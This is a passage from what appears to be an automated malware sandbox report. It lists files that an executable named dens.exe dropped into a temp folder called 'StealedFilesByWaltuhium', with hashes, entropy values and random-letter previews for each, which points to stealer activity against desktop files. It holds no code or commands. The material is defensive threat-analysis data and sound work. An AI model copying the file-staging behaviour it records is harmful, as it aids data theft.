Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\DTBZGIOOSO\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFO